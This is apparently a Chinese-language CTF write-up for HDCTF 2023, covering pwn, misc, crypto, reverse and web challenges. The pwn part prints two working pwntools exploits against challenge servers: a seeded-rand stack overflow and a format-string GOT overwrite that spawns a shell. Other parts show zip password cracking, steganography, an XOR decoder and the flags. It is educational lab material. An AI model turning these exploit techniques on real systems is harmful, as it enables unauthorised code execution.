PWN:
pwnner
checksec 检查
Ida 分析:
通过 if 判断的话,就能利用栈溢出漏洞 getshell。
v3 存在栈溢出漏洞,40 长的缓冲区读入 0x100 的数据
Exp:
from pwn import *
from ctypes import *
r=remote("node6.anna.nssctf.cn",28900)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x39)
num=str(libc.rand())
r.sendlineafter("you should prove that you love pwn,so input your name:\n",num)
p=flat(b'a'*(0x40+8),0x4008b2,word_size=64)
r.sendlineafter("ok,you have a little cognition about pwn,so what will you do next?\n",p)
r.sendline("cat flag.txt")
r.interactive()
keep on
checksec
ida分析:
read限制读入0x60数据,而s长度为0x50,只能刚好覆盖ebp跟返回地址。
但后门函数参数不是binsh,于是还需要设置参数为binsh,但能读入数据有限,只剩0x10大小数据,只够覆盖ebp和返回地址,无法再设置参数。于是栈劫持设置参数,不过没打通,到底是哪儿出问题了-。-!
转换思路:
利用格式化字符串漏洞,将printf got表改为system地址,然后第二次read返回地址改为vuln,再打一次vuln,然后第一个read传入binsh,printf此时已变为system,程序执行system(binsh)。
vuln函数中有两次read,第一次read后有printf,格式化字符串漏洞
于是看输入的参数在栈上的第几个位置:
第六个位置
于是构造payload 1 改写printf got表为systme plt地址:
先看下未修改的printf got地址:
修改之后
构造payload2 让程序再次进入vuln函数:
发送binsh,即可得到shell。
exp如下:
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
elf = ELF("./hdctf")
r=remote("node4.anna.nssctf.cn",28624)
system = 0x4005E0
printfgot = elf.got['printf']
p1 = fmtstr_payload(6,{printfgot:system},write_size='short')
r.sendafter('name: \n',p1)
vuln_addr = 0x40076F
p2 = b'a'*(0x50+0x8) + p64(vuln_addr)
r.sendafter('on !\n',p2)
r.sendafter('name: \n',b"/bin/sh")
r.sendline('cat flag.txt')
r.interactive()
MISC:
hardMisc
解压得到一个图片
010 尾部发现
解码:
ExtremeMisc:
附件是一张照片:
foremost后得到一个压缩包,解压后又得到一个含密码的压缩包,常规4位数密码爆破,得到密码haida,里面一个.piz后缀的文件,010打开发现是zip文件十六进制数据两两逆序。脚本还原:
with open('D:/pycharmproject/CTF-MISC/Reverse.piz', 'rb') as f:
s = f.read()
t = [x // 16 + 16 * (x % 16) for x in s]
with open('output.txt', 'wb') as f:
f.write(bytes(t))
f = open('output.txt', 'rb').read()
res = open('output.txt', 'wb')
res.write(f)
还原后又是一个带密码的zip,常规密码爆破得到密码9724,里面有一个带密码压缩包,有一个不带密码,Plain.zip 和 secret.zip。明文爆破。得到密码:w98d@ud,打开txt文档得到flag:HDCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}
MasterMisc
压缩包里含六个文件,拖进 010 发现第一个文件头有 PK,最后一个文件的尾也有 PK。
猜测是把一个 zip 分成了 6 部分。winhex手动拼接文件,之后常规爆破得到密码 5483,解压出一个图片:
010 发现一部分 flag
foremost 分离出图片和音频。图片高度隐写
拼接得到 flag:HDCTF{ e67d8104-7536-4433-bfff-96759901c405}
Crypto:
Normal_Rsa
得到附件,打开即可发现 flag
HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}
Normal_Rsa(revenge)
附件内容
先用 P 解出 p,
Q 解出 q:
再解密文:
Flag:
HDCTF{08c66aa2-f8ea-49a2-a84f-ab9c7999ebb2}
REVERSE:
easy_re:
Die 检查有壳,脱壳
Ida 分析:
发现字符串:
并且:
典型base64加密。
Base64 解码
easy_asm:
与 0x10 异或然后与字符串比较
Exp:
s='XTSDVkZecdOqOu#ciOqC}m$'
flag=''
for i in range(0,len(s)-1):
x=ord(s[i])^0x10
flag+=chr(x)
print(flag)
WEB:
Welcome To HDCTF 2023
进入环境,小游戏,等人物死了,就给 flag